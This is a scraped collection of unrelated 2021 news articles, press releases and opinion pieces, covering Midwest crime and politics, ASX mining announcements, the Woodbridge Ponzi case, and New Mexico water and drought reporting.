This recall by Linda Fletcher has no merit, Blazek wrote. The Nebraska State Patrol and Nebraska State Auditors office are currently investigating potential criminal activity that I, Mike Blazek identified at the Valparaiso Library. Library Director Lori Springer is the daughter of Linda Fletcher. The library remains closed by the village board as a result of inappropriate expenditures being confirmed.

The library has since opened after its closure at the end of January pending an audit by the state. Springer, who had been librarian since 2016, was found to allegedly use library dollars to make over $1,500 in personal purchases via Amazon.com, according to investigations by the state auditor and the Nebraska State Patrol (NSP).
LOS ANGELES (AP)  Los Angeles County leaders are moving forward with a plan to return prime beachfront property to descendants of a Black couple who built a resort for African Americans but were stripped of the land by local city officials a century ago.
Grand Forks County prosecutor Carmell Mattison said Pendleton prepared for the confrontation by stocking up on ammunition for his semiautomatic rifle. She said Pendleton fired a minimum of 48 rounds using a high velocity weapon with full metal jacket bullets.

During the first exchange, Pendleton shot 20 rounds blindly through the bedroom wall, not knowing who was on the other side, Mattison said. Ballistics tests showed that one of those bullets killed his mother.

The only person who was prepared on May 27, 2020, was the defendant, Mattison said. Pendleton was waiting for law enforcement to open that door so he could pull the trigger, she said.

Mottinger suggested that manslaughter charges would be more appropriate for Pendleton, who faces life without parole if he's convicted of murder.

He was a mess. That doesnt excuse his conduct, but it sure goes a long, long way to explaining it, doesnt it? Mottinger told the jury.

Jurors could convict Pendleton of manslaughter or negligent homicide charges if they dont believe he is guilty of murder. Prosecutors are also required to prove that Pendleton did not act in self-defense, in which case he could be found not guilty in either of the killings.
DES MOINES  Officials have voted to declare two Iowa counties as Second Amendment sanctuaries where any laws hindering gun rights cannot be enforced, joining similar efforts across the country and coming even as Iowa has significantly loosened firearms regulations.

Republican supervisors in Jasper County unanimously approved a resolution Tuesday and Republican supervisors in Hardin County did the same Wednesday, becoming the first Iowa counties to implement such measures.

Elsewhere in the U.S., at least 1,200 local governments have declared themselves sanctuaries insulated from state and federal gun laws since 2018, when high-profile mass shootings prompted calls for stronger regulations.

An ordinance passed in Columbia County, Oregon, last year is the first to face a legal challenge over whether it can be enforced.

The Iowa resolutions say the county supervisors want to ensure that citizens rights are protected against legislation on the state or federal level.
Six months later, languishing in a DC Jail cell, locked down most of the time, he feels deceived, recognizing that he bought into a pack of lies, Davis wrote.

Jensen faces charges including civil disorder and assaulting, resisting or impeding a law enforcement officer.

Davis said he tried to book a plane ticket for Jensen but wasnt able to, leading him to believe that his client is on a no-fly list.

Few of the more than 500 people charged in the Capitol riot remain locked up while they fight the charges.

An appeals court ruling in March that led to the release of a mother and son charged in the riot set standards for how judges should weigh whether to keep Jan. 6 defendants locked up awaiting trial.

The appeals court found that the judge who ordered Eric Munchel and his mother Lisa Eisenhart detained failed to show how they could be a threat to the community, noting that they didnt assault anyone or destroy anything on Jan. 6.

Judges have since cited that ruling in several decisions releasing defendants.

But the appeals court also said last week that people could still be found to be a danger to the public and kept in jail even if they didnt commit violence on Jan. 6.
The Freses said they learned Tuesday about a criminal investigation that centered on a 50-year-old man who allegedly met one of his sex trafficking victims in May 2018 at a gas station in Brooklyn, Tibbetts hometown of 1,700 people that is roughly 50 miles (80 kilometers) west of Iowa City.

The woman told investigators that the man lured her to a house in the nearby town of New Sharon, where she was repeatedly drugged, raped, and held against her will until August 2018. The woman said she sometimes would hear other womens voices in the home.

Law enforcement officials used the information to obtain a warrant to search the home days after they interviewed her in March 2019, but it had already been vacated by the 50-year-old man. They did not charge him with any crimes, and Mahaska Countys sheriff said recently the kidnapping and sex trafficking allegations were never substantiated.

Still, defense lawyers said in a motion that prosecutors should have turned over details about the investigation under their duty to provide exculpatory information to Bahena Rivera. They said the potential existence of a local trap house corroborates the new witnesses claims.
Ponzi schemes are also at a 10-year high and cryptocurrency fraud increased 1,000% last year with FTC data showing those ages 20-49 reporting being a victim of cryptocurrency fraud five times more often than older Americans.

This event will help Iowans fight back against fraud and avoid being a victim. By taking the time to understand the types of scams that are out there, the questions that should be asked, and how to double-check before you invest  attendees will have the resources available to help protect themselves and their loved ones.

Fighting investment and insurance fraud requires help from everyone to be vigilant and aware of common types of fraud. With all potential investments, the Iowa Insurance Division recommends Iowans collect the sellers name and company name, as well as contact information in order to double-check before you invest. The Iowa Insurance Division is available to help Iowans determine whether a company and an offer are legitimate and can be reached at (877) 955-1212.

In this digital age, it is important to recognize that everyone can be victimized by fraudsters. Investment and insurance fraud impacts every person from a typical Iowan to those running top-flight investment firms.
Richard Branson scraped the edge of space Sunday, arriving via a supersonic plane built by Virgin Galactic, a company he created. In so doing, the man who made his bones by signing The Sex Pistols to Virgin Records in 1977 upstaged another driven billionaire, Jeff Bezos, who plans his own inaugural joyride July 20 aboard the spaceship New Shepard, owned by the Amazon moguls own aerospace company, Blue Origin.

Unlike some, this editorial does not begrudge these billionaires their desire to boldly go, etc.

These are humans who built boundary-pushing, disruptive companies. They are free to spend their acquired billions as their restless personalities wish, and most likely there will be a job-creating market for their so-called space tourism companies, even at $250,000 per seat. Among all the marketing hype from emcee Stephen Colbert and super fan Elon Musk, Branson made some room on his inaugural flight for scholarly research into the effects of zero gravity and an expanded private sector foray into a part of the universe mostly hitherto reserved for governments might eventually teach us a few useful things about our lives down here.

Moreover, who does not crave the chance to float around like the great astronauts of our childhood dreams, Earths gravitational pull falling away with our quotidian worries?
Iowans voted in record numbers last November. Our Legislature responded by passing voter suppression laws outlawing practices expanding access to the ballot without evidence of fraud.

One million of us  more than three of every five  chose the convenience and safety of absentee ballots during a pandemic. Many older or disabled voters prefer using absentee ballots facilitated by request forms mailed by county auditors. Auditors daring to provide such service will do so at the risk of felony charges!

In 2022, working Iowans wishing to vote after supper must hustle. Polls will close an hour earlier, 8 p.m. rather than 9 p.m.

Another egregious voter suppression rule is the limitation of ballot drop boxes to one per county. The 4,029 citizens of Adair County will share one drop box; the 479,612 citizens of Polk County will also share just one drop box.

The 89th Iowa General Assembly has taken many steps to limit access to the ballot. Assertions that previous election practices led to fraud are unfounded.

The Black Hawk-Bremer League of Women Voters asserts that voting is a right, not a privilege. We therefore oppose voter suppression legislation. We support making the ballot accessible to all citizens.

Cherie Dargan, president BHBLWV

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Major Mineral Resource Upgrade at Gorno

Perth, July 14, 2021 AEST (ABN Newswire) - Alta Zinc Limited ( ASX:AZI ) ( FRA:8EE ) is pleased to announce the updated Mineral Resource estimate (MRE), as shown in Figure 1*, for its Gorno zinc-lead-silver deposit in the northern Italian Province of Bergamo. The deposit is approximately a 3-hour drive from the main Port of Genoa, and a 1-hour drive from Bergamo International Airport (Figure 2*). The MRE was completed by CSA Global Pty Ltd (CSA Global) in Perth, Australia.Geraint Harris, MD of Alta Zinc commented:"Alta shareholders have now been rewarded by this very positive Mineral Resource upgrade, based on results from the recent drilling programs in the new areas of Pian Bracca and Ponente. The outcome is a more than three-fold increase in the amount of zinc metal and a more than 40% increase in the global metal grades contained in the Mineral Resource estimate for the Gorno deposit. This is partly due to an increase in the thicker and higher-grade mineralisation, found in the Pian Bracca corridor and at Ponente.We have been able to achieve this result with only 15 months of drilling by identifying outstanding drill targets, of which there still remains an abundance, close to or within the network of existing underground workings which offer cost effective and efficient year-round drilling positions with zero environmental impact.Our operational success is largely due to the strength and efforts of our Italian staff, and our Italian mining and drilling contractors (Edilmac SRL) who have tirelessly and professionally worked to make the Gorno deposit the success that our municipalities and the Lombardy region in Italy deserve.We are currently drilling beyond the limits of our MRE into both step-out and new areas to continue to grow our resource base, notwithstanding that we now have a substantial resource inventory to support future feasibility studies."DRILLING AND SAMPLINGAll data, including that from the previous JORC Mineral Resource, has been compiled and used in the updated MRE which covers the Pian Bracca, Ponente and Zorzone area (Figure 3 and 8*). The data includes:- Historical drilling of 208 diamond core holes for 19,583.2m of drilling;- Historical drilling of 1,396 percussion holes for 30,495.2m of drilling;- 2015 to 2017 at Zorzone a total of 169 diamond core holes for 17,545.4m of drilling and 3,157 assayed intervals;- March 2018 to April 2021 at Pian Bracca, Ponente and Cascine a total of 78.9m of channel sampling and 96 assays collected from 34 sites;- November 2019 to April 2021 at Pian Bracca and Pian Bracca South a total of 54 diamond core holes, 4,839.8m of drilling and 1,358 assayed intervals; and- February to June 2021 at Ponente a total of 31 diamond core holes, 1,391.3m of drilling and 412 assayed intervals.The deposit has been assessed based on detailed validation of irregularly spaced underground diamond drilling that intersected a number of mineralised lenses on an approximate 40 x 40m or less drill spacing. There are sufficient data points to model the mineralisation over a strike length of approximately 2,400m and a maximum dip direction of 1,900m (Figure 3*). The mineralisation remains open in all directions notwithstanding that in some areas the immediate mineralised extensions have been structurally off-set and down faulted from modelled mineralised bodies. The historical exploration data was not used directly in the interpolation of the MRE but considered in the development of the geological and structural model.SAMPLE ANALYSIS METHODCut core samples were dispatched from site using a reputable contract courier to Australian Laboratory Services (ALS) sample preparation facilities in Rosia Montana, Romania before being transferred to their laboratory facilities in Loughrea, Ireland for geochemical analysis. An industry standard sample preparation was used to produce a representative sub-sample from the original sample. Samples were first dried, then crushed to 70% less than 2mm, after which a split (Boyd Rotary Splitter) of 250g was pulverised to better than 85% passing 75 microns. The samples were subjected to a four-acid digestion process that is able to dissolve most minerals (near total digest), depending on the sample matrix. The analysis techniques employed were ICP-AES (Atomic Emission Spectroscopy) with ICP-AAS (Atomic Absorption Spectroscopy) typically used to quantify higher grade base metal mineralisation.GEOLOGY AND MINERALISATIONThe Gorno Mineral District contains a number of Alpine Type Lead-Zinc deposits (similar to Mississippi Valley Type [MVT] Lead Zinc deposits). They occur within carbonate rocks of Triassic age, deposited in a broadly transgressive platform setting in a rift-sag basin environment (Figure 4*). Mineralisation is generally accepted to be of low-temperature carbonate replacement style (MVT or Irish type) and not related directly to magmatism, and the timing variably interpreted as syngenetic, 'extensional' (early Jurassic), or compressional (Miocene). Gorno shares many fundamental features with other deposits in the Alpine Zn-Pb province, which hosts a number of significant stratabound carbonate-hosted Zn-Pb deposits in Middle to early Upper Triassic carbonates.At Gorno, mineralisation is broadly stratabound lying predominantly within the Metallifero Formation which locally can be up to 40 to 80 metres thick, and at times in the underlying Breno Formation. Mineralisation in the upper Metallifero is more strongly stratiform in style, associated with black shale interbedded with carbonate. Stratabound "columnar" mineralisation is located mainly in the middle-lower portion of the Metallifero and forms N-S plunging trends which may be 200 metres or more long, 50-100 metres wide and 3-20 metres thick, and where breccia bodies and veining are also observed. Higher grade and thicker mineralisation are often associated with late-stage brittle faulting which is generally orientated north-south or east-west.The western margin of the MRE area is bounded by a significant fault zone with a west downward stepped displacement and possible rotation of at least 200m. The eastern margin is also bounded by the significant and regionally important Pezel fault (zone) with an east step-down displacement of 100-150m. At least three (3) north-south orientated faults are observed with the most westerly lying on the extreme western margin of the MRE area. Movements on the north-south faults are of the order 10-20m with mostly west side down movement. North-south structures can be associated with antiform and synform folds (Figure 5*).A series of east-west orientated faults run from the east side of Zorzone to the Pezel fault is termed the Pian Bracca corridor. The central part of the corridor is typified by upward movement of up to 50m with the Metallifero faulted into a number of horst block(s) with more significant downward faulting (graben) on the southern side compared to the north (Figure 6*).It is noted that the mineralisation remains open in all directions outside of the MRE, including to the east and west of these bounding faults.Whilst the majority of the deposit lies well beneath ground surface a small area of mineralisation comes to within approximately 15m of ground surface in the far eastern side of Pian Bracca. Here and elsewhere where brittle faulting has disrupted the sequence the inflow of meteoric water has oxidised some of the primary (sulphide) mineralisation to mostly smithsonite (zinc carbonate). These areas, in both section and plan, can show a zonation of smithsonite (oxide) in the core grading outwards to sphalerite (sulphide) on the margins. Oxidised areas have been clearly mapped from underground development and stopes.The deposit was domained into oxidised zones that occur along the fault planes and sulphide zones, with grades interpolated separately for the predominantly oxidised and fresh zones. The current number of zinc oxide and lead oxide samples is 29% and 12% respectively of the total assays which provide a much lower level of confidence to support reporting oxide mineralisation in the Mineral Resource statement. However, the tonnage of mixed sulphide/oxide material within these fault systems is expected to be in the range of 10 to 14% of the total Mineral Resource with zinc oxide grades of between 4 and 6%, and minor oxide mineralisation in the predominantly sulphide mineralisation which has been unproblematic in all recent metallurgical test work and historical production to date.*To view the full release, please visit:About Alta Zinc Limited

Alta Zinc Limited (ASX:AZI) (FRA:8EE) is an emerging ASX-listed exploration and development company focused on unlocking dormant value at the Gorno Project. Gorno is an historic high-grade zinc mine in industrialised Northern Italy, proximal to smelters and key infrastructure and with a track record of producing high quality clean concentrates to European Smelters.

Drilling of known brownfields high-grade targets is underway and aims to strengthen the current Resource inventory. Subsequent project development will leverage off the existing underground infrastructure, simple metallurgy and advanced technical studies to de-risk a future feasibility study. The Company also has a portfolio of other mineral exploration projects in northern Italy and Australia.
Sydney, July 14, 2021 AEST (ABN Newswire) - DroneShield Limited ( ASX:DRO ) ( FRA:DRH ) ( OTCMKTS:DRSHF ) is pleased to share the recording for Investor Webinar, held yesterday 13 July, presented by the DroneShield CEO, Oleg Vornik.The presented highlights include:- 2Q21 quarterly customer receipts of $7.4 million, an all-time record, despite COVID slowdown.- 1H21 cash receipts of $9.1 million, a 600% growth over 1H20 cash receipts.- $3.8 million contract with Australian Department of Defence in Electronic Warfare/Signals Intelligence arena, including the first $1.9 million initial payment received in June 2021.- Active engagement on the US$50 million Middle Eastern contract continues.- Positive cashflow quarter, bank balance as at 30 June 2021 increased to $14.2 million.- $200 million global sales pipeline, across number of key markets and products, in a $6bn total addressable market.The webinar recording is available on the DroneShield investor page, www.droneshield.com/investors.To view the Webinar, please visit:About DroneShield Ltd

DroneShield Ltd (ASX:DRO) (OTCMKTS:DRSHF) is an Australian publicly listed company with its head office in Sydney and teams in the US and UK. We specialise in RF sensing, Artificial Intelligence and Machine Learning, Sensor Fusion, Electronic Warfare, Rapid Prototyping and MIL-SPEC manufacturing.

Our capabilities are used to protect Military, Government, Law Enforcement, Critical Infrastructure, Commercial and VIPs throughout the world.

Through our team of primarily Australian based engineers - we offer customers bespoke solutions and off-the-shelf products designed to suit a variety of terrestrial, maritime or airborne platforms.

DroneShield is proudly exporting Australian capability to customers throughout the world and supporting Australia's defence, national security and other organisations protect people, critical infrastructure and vital assets.

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Adelaide, July 14, 2021 AEST (ABN Newswire) - Resolution Minerals LTD ( ASX:RML ) ( FRA:NC3 ) is pleased to invite investors to view an online investor presentation by Managing Director, Duncan Chessell, who will be presenting (virtually) at the Noosa Mining Conference today at 3:40pm (Brisbane time).Noosa Mining Conference 2021The presentation will focus on the 64North Project in Alaska where drilling was recently completed at East Pogo Prospect adjacent to the world-class high-grade Pogo Gold Mine. The presentation will also discuss the results of the recent geophysics survey highlighting the copper prospectivity of the Wollogorang Project in the Northern Territory.A video of the presentation is also available via Resolution's website.To view the video presentation, please visit:About Resolution Minerals Ltd

Resolution Minerals Ltd (ASX:RML) is a mining company engaged in the acquisition, exploration and development of precious and battery metals - such as gold, copper, cobalt, and vanadium.

The company is led by Managing Director Duncan Chessell and an experienced team with proven success in corporate finance, marketing, metallurgy and geoscience. This equips Resolution Minerals with the tools to meet the changing demands of the mining markets.

Resolution Minerals Ltd Listed on the ASX in 2017 with a focus on the exploration of the Wollogorang Copper Cobalt Project. It has since aquired the Snettisham Vanadium Project and more entered into a binding agreement witth Millrock Resources to earn up to 80% of the highly prospective 64North Gold Project.


Penny's Find JV Resource Update

Perth, July 14, 2021 AEST (ABN Newswire) - Horizon Minerals Limited ( ASX:HRZ ) is pleased to announce an updated Mineral Resource estimate for the Penny's Find JV project located 50km northeast of Kalgoorlie-Boulder in the heart of the Western Australian goldfields (Figure 1*).HIGHLIGHTS- Resource definition and extension drilling completed at the Penny's Find gold project, 50km northeast of Kalgoorlie in the Western Australian goldfields- The project is a 50:50 joint venture with Orminex Ltd ( ASX:ONX ) with Horizon's A$1M sole funding commitment now satisfied with future costs funded on a 50:50 basis- A total of 21 drill holes were completed with 2,103m of RC and 2,765m of diamond to a maximum depth of 282m- Drilling tested northern extensions and infilled a number of areas within the existing underground resource envelope with significant results received including:o 5.0m @ 5.27g/t Au from 180.3m (P1_010)o 3.7m @ 7.46g/t Au from 215.3m (P1_005)o 2.7m @ 8.64g/t Au from 171.4m and 1.7m @ 17.91g/t Au from 178.9m (P1_007)o 1.9m @ 13.95g/t Au from 251m (P1_009)o 0.9m @ 23.56g/t Au from 216.7m (P1_006)o 2.0m @ 8.47g/t Au from 227m (P1_008)o 2.5m @ 7.45g/t Au from 226m (P1_020)- Results demonstrated excellent width and grade continuity and improved geological confidence with mineralisation open along strike to the north and at depth- Updated independent Mineral Resource estimate now compiled and stands at:o 250,000t grading 5.22g/t Au for 42,000oz at a 1.5g/t Au lower grade cut-off- Importantly, over 83% (up 19%) of the resource now in the Indicated Resource category (188kt grading 5.71g/t Au) with updated underground mine optimisation, design and economic evaluation underway- A maiden Ore Reserve for Penny's Find is expected early in the December Quarter 2021- Approvals for mine development are in place and a toll milling agreement executed for ore processing in the March Quarter 2022Commenting on the resource update, Horizon Managing Director Mr Jon Price said:"The JV partners have taken a very conservative approach with the new resource model and the latest drilling has provided increased confidence and higher JORC classification for reserve conversion. We now look forward to completing the updated underground mine optimisation and design for a development decision with our JV partners early in the December Quarter."The Company acquired a 50% interest in the project from joint venture partner Orminex Ltd ( ASX:ONX ) for $1.5M and agreed to sole fund the first $1M in pre-development expenditure with the joint venture partners funding the project on a 50:50 basis thereafter. The project presents an early underground development and production opportunity to generate cash as the Company advances the longer-term consolidated Feasibility Study underpinning a stand-alone mill at Boorara.The infill and extension program aimed to improve resource classification and test extensions along strike with excellent results and new mineralisation intercepted to the north. The deposit also remains open at depth and will be tested further from underground drilling positions during the mining cycle.*To view tables and figures, please visit:About Horizon Minerals Limited

Horizon Minerals Limited (ASX:HRZ) is a gold exploration and mining company focussed on the Kalgoorlie and Menzies areas of Western Australia which are host to some of Australia's richest gold deposits. The Company is developing a mining pipeline of projects to generate cash and self-fund aggressive exploration, mine developments and further acquisitions. The Teal gold mine has been recently completed.

Horizon is aiming to significantly grow its JORC-Compliant Mineral Resources, complete definitive feasibility studies on core high grade open cut and underground projects and build a sustainable development pipeline.

Horizon has a number of joint ventures in place across multiple commodities and regions of Australia providing exposure to Vanadium, Copper, PGE's, Gold and Nickel/Cobalt. Our quality joint venture partners are earning in to our project areas by spending over $20 million over 5 years enabling focus on the gold business while maintaining upside leverage.


Commencement of Maiden Diamond Drilling Programme at Mt Wipi

Sydney, July 14, 2021 AEST (ABN Newswire) - Gold Mountain Limited ( ASX:GMN ) is pleased to announce that drilling will recommence at its Wabag project in July, with an initial four-hole programme planned for the highly prospective Mt Wipi tenement.Highlights- Mt Wipi (EL 2632)o The Mt Wipi (EL 2632) tenement was granted on the 14th of August 2020 to Gold Mountain Limitedo Over the last 9 months, GMN has undertaken stream sediment sampling, rock chip sampling, soil sampling and trenching programso High-grade rock chip samples (up to 9.64% copper, 1.96 g/t gold and 100 g/t silver) and channel samples (including 5m @ 2.57% copper, 0.53 g/t gold and 33.56 g/t silver) have been identified at Mt Wipio This systematic approached to exploration has resulted in the identification of three high priority exploration targets centered on the Waa Creek drainage at Mt Wipio GMN plans to drill four diamond drill holes into these targets, with drilling to commence in Julyo Further infill and extensional geochemical exploration at Mt Wipi are ongoing and additional new targets within EL 2632 have recently been identifiedPhil Jones, GMN's consulting porphyry expert said "Exciting high grade Copper and Gold samples located by landowners led GMN to the Mt Wipi area, where reconnaissance rock chip sampling has defined a number of very strong Copper and Gold bearing outcrops including mineralised intrusives and skarns. Follow up rock chip sampling defined strongly mineralised occurrences over a 3km x 1.5kms zone, of which a later stream sediment sampling verified and extended with anomalous gold values into an adjacent northern drainage. The highly anomalous Copper and Gold zone has minimal associated outcrop and required soil geochemical sampling at 160 x 80m spacings to assist in drill targeting. Three significant target areas dominated by Copper and Gold as well as other pathfinder elements such as Molybdenum, Tellurium, Indium and Tungsten were outlined in a zone located at the intersection of a significant cross cutting transfer structure and the main arc parallel structure. These highly encouraging results have highlighted strong drill targets in a greenfield area which has not been subject to modern exploration".Mt Wipi (EL 2632)The Mt Wipi tenement was granted on the 14th of August 2020. From the date of grant, GMN has undertaken a staged exploration programme on EL2632. This work comprised of a review of the airborne geophysical data for the EL, which resulted in the identification of up to 10 target areas. This was followed by ground checking of these targets and visiting other areas of interest where outcropping copper mineralisation was observed to by local landowners.The Waa Creek area was selected as the priority target, and a systematic exploration programme comprising of stream sediment, rock chip and channel sampling was undertaken.The work culminated in a soil sampling programme which identified copper and gold in soil anomalies. Trench sampling and mapping across the highest geochemical anomalies in the target areas is either completed or ongoing to assist in the final siting of drill holes.The work has identified the first three priority targets. Drilling is planned to commence in July with 4 diamond drill holes (with an approximate depth of 250m) planned to test three targets.The targets are referred to as:- Target 1Ao Coincident copper/molybdenum/tungsten/indium anomaly over 800m in length x 250m width and includes target 1B at the southern end of the anomalyo The anomalous geochemistry appears to drape along the western edge of a potassium high in the airborne radiometric datao Additional sampling is required to the North West along strike as well as infill sampling within the anomaly given that >0.1% copper values were returned in the area- Target 1Bo Coincident copper/molybdenum/gold/tungsten/indium anomaly at the southern end of that described above for target Ao Copper values at this location returned >0.2% Cu and are associated with anomalous gold- Target 2o This is a strong tellurium/copper/gold anomaly with partially coincident tungsten/indium/tin defined along a NE linear feature possibly indicating a base metal/gold vein peripheral to a porphyry system under cover, unlike that at Targets 1A and 1Bo The anomaly appears to lie along the North West edge of a potassic anomaly and coincident with a strong magnetic low- Target 3o This shows a strong Copper anomaly which is approximately 5 times the background readings, there is also a moderate indium/molybdenum/gold/tin system at the northern end of a 750 x 250m copper response which drapes over the western edge of a potassic anomaly within a diffuse magnetic highThe location of the three target areas described are presented on Figure 1* and Figure 2* which also show the location of the previous, stream and rock geochemistry and the airborne magnetic date. The photograph of the area that hosts Target 1A and 1B is presented in Figure 3*.In addition to the planned drilling programme at Mt Wipi, GMN is continuing the ongoing, soil sampling programme and regional stream sediment and rock chip programs with the soil sampling programme over the Waa Creek area nearing completion. GMN is extending its reconnaissance rock chip and stream sediment sampling programs to other parts of the EL to identify additional targets for drill testing.Tim Cameron the CEO of GMN stated "I am very excited about commencing drilling at Mt Wipi. The systematic exploration that we have undertaken on the tenement over the last 9 months has rapidly got us to the drilling stage. We have four holes planned in the Waa Creek drainage, with others planned as we continue our exploration on the lease and expand our geological reconnaissance programmes to other equally prospective parts of the tenement. The GMN geological team believe that the Mt Wipi area is highly prospective, which has been highlighted by the rock chip sampling and soil sampling. The geological team also believe that the rest of the tenement is highly prospective, and they are keen to explore those areas. GMN has decided to commence drilling these initial targets at Mt Wipi in order to gain a better understanding of the sub-surface geology at Mt Wipi and to assess the potential of the first three targets identified".*To view tables and figures, please visit:About Gold Mountain Ltd

Gold Mountain Limited (ASX:GMN) is an Australian, publicly listed company exploring for world-class, porphyry copper-gold-molybdenum deposits in the highly prospective Papuan Mobile Belt (PMB) in Papua New Guinea.
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MIAMI  Two more California men have pleaded guilty in South Florida for their roles in a $1.3 billion real estate fraud scheme that stole money from thousands of investors nationwide.

Dane Roseman, 38, and Ivan Acevedo, 44, both of Los Angeles, pleaded guilty Monday in Miami federal court to participating in a massive investment fraud scheme, in which more than 7,000 victims suffered financial losses, according to court records. Co-defendant Robert Shapiro was previously sentenced to 25 years in prison for orchestrating the scheme. Roseman and Acevedo are scheduled to be sentenced on Sept. 20.

Shapiro was the the former owner, president and CEO of Woodbridge Group of Companies LLC. The company had offices employing 130 people in California, Florida, Tennessee, Colorado and Connecticut. Prosecutors say Shapiro told investors that Woodbridge held real estate loans that would pay them rates of interest between 5% and 10%. In fact, the real estate also was owned by Shapiro through 270 shell companies and did not generate the necessary money for investors. Sometimes, the properties didnt even exist.

It became a Ponzi scheme that paid older investors with money from newer ones, court records show. Five states entered cease-and-desist orders because Woodbridge was selling unregistered securities.

Roseman and Acevedo both worked as sales managers for Woodbridge, officials said. They sold securities and trained and supervised Woodbridge internal sales agents who sold Woodbridge securities. Using high-pressure sales tactics, Shapiro, Roseman, Acevedo and others marketed and promoted these investments as low-risk, safe, simple and conservative.

Authorities say the scam operated from at least July 2012 to December 2017, when the company filed for bankruptcy and defaulted on its obligations to investors.

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Copyright  2021 Albuquerque Journal

Construction on a massive project to pipe water to the eastern Navajo Nation, the Jicarilla Apache Nation and the city of Gallup will continue full steam ahead, despite a $330 million funding gap, federal officials told state lawmakers Monday.

Patrick Page, manager of the U.S. Bureau of Reclamations Four Corners construction office, said the Navajo-Gallup Water Supply Project cost is now estimated at $1.7 billion.

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Recent pipeline material and equipment cost spikes have driven up the project price tag, as has a need for intricate offshoots from two main water transmission lines.

It was assumed that the connections to these (Navajo Tribal Utility Authority) distribution systems would be much less complex, Page said during a Water and Natural Resources Committee meeting.

Incorporating San Juan Generating Station reservoir facilities will also delay project completion from 2024 to 2028 or 2029.

The unfinished system currently delivers San Juan River water to about 6,000 people in eight Navajo communities.

Jicarilla Apache residents could receive project water later this summer.

Federally funded construction started nearly a decade ago to build 300 miles of pipeline, two water treatment plants, 19 plumbing plants and several water storage tanks across a 7,800 square-mile region.

Reclamation estimates that about 250 miles of pipeline are finished, under construction or under contract.

We dont expect the funding gap to impact us until at least 2024, so theres plenty of time to get it addressed, Page said.

A boost in yearly congressional appropriations could bridge the gap and complete the pipeline for residents in far western New Mexico.

Navajo residents urgently need the project because the Indian Health Service built most water infrastructure in the 1960s and 1970s, said Natanya Garnenez, a hydrologist with the Navajo Nation Water Resources Department.

But the aging systems only support residential use and, even now, 30% of Navajo residents do not have running water.

As a result of little to no commercial or industrial development, the Navajo Nation continues to lack the ability to sustain a steady economy, and continues to lack the ability to increase employment opportunities for our people, Garnenez said.

In addition to Reclamations yearly congressional appropriations, individual Navajo chapters also receive money for regional pipeline segments from the New Mexico Tribal Infrastructure Fund.

State Sen. Benny Shendo Jr., D-Jemez Pueblo, encouraged Navajo officials to utilize American Rescue Plan Act funds to speed up the pipeline project.

As long as were piece-mealing this, it is not going to happen, Shendo said.

Theresa Davis is a Report for America corps member covering water and the environment for the Albuquerque Journal.
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Copyright  2021 Albuquerque Journal

Police are looking for a man accused of killing his sisters boyfriend after being spooked by a nearby firework on July 4 in Southwest Albuquerque.

Francisco Robles, 30, is charged with an open count of murder in the death of 34-year-old Javier Gandarilla.

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Albuquerque Metro Crime Stoppers is offering a reward of up to $1,000 for information leading to Robles capture, noting he should be considered armed and dangerous.

According to a criminal complaint filed in Metropolitan Court:

Police responded around 10 p.m. to a stabbing in the 300 block of Lansing SW, near Bridge and Isleta. They found Gandarilla with his throat cut and he died at the scene.

The woman who lived at the home told police Gandarilla was her boyfriend and her brother, Robles, had attacked him. She said her brother, who is homeless and had been estranged from the family, had showed up at their church earlier in the day looking dirty.

The woman told police she invited Robles to her home to clean up and spend the Fourth of July with them. She said she had been dating Gandarilla for two months and it was the first time her brother met him but they got along.

The woman told police Robles said he was trying to get a bus back to Mexico  where he was wanted for his involvement in a crash that killed two people. She said Robles was hugging her to say goodbye when a firework went off and he clutched her tighter and asked if she heard that.

The woman told police Robles was acting paranoid and had been known to use methamphetamine. She said Robles let her go and lunged at Gandarilla, grabbing him around the neck.

The woman told police she was able to pull Robles hands off Gandarillas neck and saw he had been cut and there was a lot of blood on him. She said Robles told them, Oh (expletive) I didnt want to do that and ran.

The woman told police the attack was unprovoked and she did not know why it happened. Robles sister and mother both said they feared for their safety as he is known to be violent.
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Copyright  2021 Albuquerque Journal

New Mexicos current drought will end someday.

But the state must prepare for long-term water shortages, climate scientists and water experts told state lawmakers Tuesday.

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Statewide drought is approaching the severity similar to that of a 16th century megadrought, said David Gutzler, climate scientist and professor emeritus at the University of New Mexico.

Rising global temperatures, a consequence of greenhouse-gas induced climate change, make drought worse by affecting regional snowpack.

The dismal conditions we see today in the Rio Grande are not the result of deficient falling snow last winter in the Rio Grande headwaters, Gutzler said during a meeting of the Legislatures Water and Natural Resources Committee. Its because the snow melted earlier, went away more rapidly and simply didnt provide as much runoff as it did in the good old days.

Gutzler cautioned against becoming complacent about long-term water issues once rainfall starts boosting river flows and soil moisture.

New Mexicos most recent historic drought occurred in the 1950s.

But tree-ring data and reconstruction of Rio Grande flows show an intensely-dry period in the late 1500s, which Gutzler referred to as an enormous drought that affected ecosystems and societies.

American Geophysical Union research published in 2000 said the megadrought may have contributed to nearly a dozen Southwestern pueblos being abandoned in the 16th century.

About 25% of New Mexico is in exceptional drought, the National Drought Monitors most severe category. Thats a significant change from the beginning of April, when nearly 54% of the state reported exceptional drought.

Were seeing some improvement, said David DuBois, New Mexicos state climatologist. Every week weve been improving, but weve got a ways to go.

Minimal surface water has limited statewide irrigation allotments and reservoir storage.

Republican Rep. Jack Chatfield, a Mosquero rancher, said reuse technologies could help conserve water without infringing on landowners water rights.

Dont throw our free enterprise system out the window on the way to try to save ourselves from overuse of water, Chatfield said.

Sharing limited supplies can coexist with water rights appropriations, said Paula Garcia, executive director of the New Mexico Acequia Association and a Mora County rancher.

Water scarcity has prompted renegotiations of shortage sharing agreements in several acequia communities.

Were very accustomed to sharing water from a practical standpoint, but its also deeply ingrained in our culture, Garcia said.

Sen. Joseph Cervantes, D-Las Cruces, said he worries that less reliable surface water supplies could further drive an economic wedge between smaller water users and bigger farmers.

We just manage from crisis to crisis  but we never really solve the issues, Cervantes said.

The Office of the State Engineer estimates that its 50-year water plan to help inform state water policy will be finalized in March 2022.

Theresa Davis is a Report for America corps member covering water and the environment for the Albuquerque Journal.
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Copyright  2021 Albuquerque Journal

SANTA FE  For U.S. Surgeon General Vivek Murthy, the toll of COVID-19 is measured in deaths and hospital occupancy rates, but in less visible metrics, too.

During a Tuesday trip to New Mexico, Murthy expressed concern about the mental health implications of the pandemic, particularly among children, and said more resources need to be targeted at an issue that could take years to fully manifest.

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What weve been through collectively and individually is trauma, Murthy said during a Santa Fe event honoring eight health care officials, nurses and scientists from around New Mexico for their role in the states pandemic response.

Im not sure weve seen the worst of it, added Murthy, who testified during his confirmation hearing in February that seven of his own family members in the U.S. and India died from the coronavirus.

